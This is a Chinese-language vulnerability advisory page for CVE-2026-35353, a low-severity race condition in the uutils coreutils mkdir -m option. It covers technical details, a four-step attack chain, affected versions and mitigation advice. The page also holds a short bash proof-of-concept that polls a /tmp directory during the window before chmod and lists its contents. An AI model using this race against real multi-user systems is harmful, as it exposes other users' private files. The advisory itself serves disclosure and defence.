IPBUF安全漏洞报告
English
CVE-2026-35353 CVSS 3.3 低危

CVE-2026-35353 uutils coreutils权限设置竞争漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-35353
漏洞类型
条件竞争
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
uutils coreutils

相关标签

权限提升条件竞争uutils coreutils本地漏洞信息泄露

漏洞概述

uutils coreutils中的mkdir工具存在权限设置漏洞。当使用-m参数创建目录时,程序未正确处理权限继承,先以umask默认权限创建目录,再通过chmod修改。这导致多用户环境下出现短暂的时间窗口,其他用户可在此期间访问本应私有的目录,造成信息泄露。

技术细节

该漏洞源于uutils coreutils中`mkdir`工具的实现逻辑缺陷。正常的安全预期是使用`mkdir -m mode`创建的目录应立即具有受限权限(如700)。然而,uutils的实现首先执行底层的`mkdir`系统调用,此时受进程umask(通常为022,导致目录权限为755)限制,随后才执行`chmod`系统调用将权限修改为用户指定的值。在多用户系统(特别是/tmp等共享目录)中,这两个原子操作之间存在一个非原子的时间窗口(条件竞争)。本地低权限攻击者可以通过持续轮询或利用inotify监控目标路径,在这个极短的窗口期内探测并访问尚未执行`chmod`的目录。一旦成功,攻击者即可读取敏感数据或植入恶意文件,即便随后权限被锁定,攻击者可能已保留了文件描述符或完成了信息窃取。

攻击链分析

STEP 1
1. 触发目录创建
攻击者诱导或等待目标用户在多用户环境(如共享目录)下执行uutils coreutils的mkdir命令并指定-m参数(如mkdir -m 700 private)。
STEP 2
2. 利用时间窗口
在mkdir创建目录(默认0755权限)与chmod修改权限(至700)之间的极短时间窗口内,攻击者通过脚本高频扫描或监控该路径。
STEP 3
3. 非授权访问
如果在权限锁定前探测到目录,攻击者利用默认的宽松权限读取目录内容或窃取敏感文件。
STEP 4
4. 权限锁定
chmod系统调用执行,目录权限变为700,但攻击者可能已利用开放的文件描述符维持访问或已获取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-35353: Race condition in uutils mkdir -m # This script demonstrates checking for the window between mkdir and chmod. TARGET_DIR="/tmp/vuln_poc_$$" # Cleanup function cleanup() { rm -rf "$TARGET_DIR" } trap cleanup EXIT echo "[+] Starting PoC for CVE-2026-35353" echo "[*] Creating directory with 'mkdir -m 700'..." # Start the mkdir command in background to simulate the race # In a real scenario, this would be run by a victim user. mkdir -m 700 "$TARGET_DIR" & PID=$! # Attacker loop trying to access the directory immediately while kill -0 $PID 2>/dev/null; do if [ -d "$TARGET_DIR" ]; then # Check current permissions PERMS=$(stat -c %a "$TARGET_DIR" 2>/dev/null) # If permissions are not 700 yet, the window is open if [ "$PERMS" != "700" ]; then echo "[!] VULNERABLE WINDOW DETECTED! Permissions: $PERMS" ls -ld "$TARGET_DIR" # Try to list contents (simulating unauthorized access) ls "$TARGET_DIR" 2>/dev/null && echo "[!] Successfully accessed directory!" break fi fi done wait $PID FINAL_PERMS=$(stat -c %a "$TARGET_DIR" 2>/dev/null) echo "[*] Final permissions: $FINAL_PERMS"

影响范围

uutils coreutils < 0.6.0

防御指南

临时缓解措施
若无法立即升级,建议在多用户环境中避免使用受影响的uutils coreutils的mkdir -m命令来创建敏感目录,可临时使用系统自带的GNU coreutils替代,或修改脚本逻辑确保父目录权限已受限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表